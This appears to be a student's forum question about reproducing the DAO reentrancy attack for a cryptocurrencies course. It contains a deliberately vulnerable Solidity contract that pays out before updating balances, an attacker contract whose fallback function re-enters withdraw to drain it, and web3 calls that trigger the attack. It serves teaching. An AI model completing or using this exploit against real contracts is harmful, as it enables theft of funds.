I am trying to replicate the famous DAO attack for a cryptocurrencies course.
I have the following contract already deployed on the blockchain.
pragma solidity ^0.5.4;
contract EDao {
address payable public student;
//Events
event Success(address src,uint256 ret);
event Fail(address src,uint256 ret);
event NotEnoughFunds(address src, uint256 req, uint256 avail, uint256 balance);
//Structs
struct Fund {
address payable payoutAddr;
uint256 amount;
}
struct Investor {
bool canFund;
bool canAddInvestor;
}
//Mappings
mapping(address => Investor) investors;
mapping(address => Fund) funds;
constructor(address payable _student) public payable {
// Set the deployer as one of the investors who initially funded this contract
investors[msg.sender] = Investor({canFund:true, canAddInvestor:true});
// Set the student as one of the investors
student = _student;
investors[student] = Investor({canFund:true, canAddInvestor:true});
}
function fundit(address payable to) public payable {
Investor memory b = investors[msg.sender];
if (b.canFund) {
Fund storage f = funds[to];
f.payoutAddr = to;
f.amount += msg.value;
emit Success(msg.sender,0);
} else {
emit Fail(msg.sender,1);
revert();
}
}
function queryFunds(address addr) public view returns (uint256) {
Fund memory f = funds[addr];
return f.amount;
}
function withdraw(address payable addr,uint256 amount) public returns (bool) {
Fund storage f = funds[addr];
if (f.amount >= amount && amount <= address(this).balance) {
(bool success, ) = f.payoutAddr.call.value(amount)("");
if (success) {
f.amount = f.amount - amount;
return true;
}
} else {
emit NotEnoughFunds(msg.sender,amount,f.amount,address(this).balance);
}
return false;
}
function getStudent() public view returns (address) {
return student;
}
function addInvestor(address payable investorAddr,bool canAdd) public {
Investor memory b = investors[msg.sender];
if (b.canAddInvestor) {
investors[investorAddr] = Investor({canFund:true, canAddInvestor:canAdd});
emit Success(msg.sender,0);
} else {
emit Fail(msg.sender,2);
}
}
function getInvestor(address investorAddr) public view returns (bool canFund, bool canAddInvestor) {
Investor memory b = investors[investorAddr];
canFund = b.canFund;
canAddInvestor = b.canAddInvestor;
return (canFund, canAddInvestor);
}
}
I have also written this contract and also deployed this to the blockchain:
pragma solidity ^0.5.12;
import './EDao.sol';
contract Mallory {
address payable owner;
EDao public dao = EDao(##EdaoSmartContractAddress##);
constructor() public{owner = msg.sender; }
function getJackpot()public { owner.transfer(address(this).balance); }
function() external payable { dao.withdraw(address(this), 1000000000000000000); }
}
Now, to run the attack, I am doing the following:
Sending 1 eth to the edao address (contract) for the mallory address (einstance):
contract_function = contract.functions.fundit(einstance.address)
tx_hash = contract_function.transact({"from": w3.eth.accounts[0], "value": 1000000000000000000})
And then sending a transaction to Mallory with gas:
w3.eth.sendTransaction({'from':w3.eth.accounts[0],
'to':einstance.address,
'value':1,
'gas': 4712388})
After this ideally the callback function should help Mallory to steal all the coins from EDao. However, edao' balance increases by 1 and Mallory stays at zero.
Please help me to fix this. Am I doing something wrong?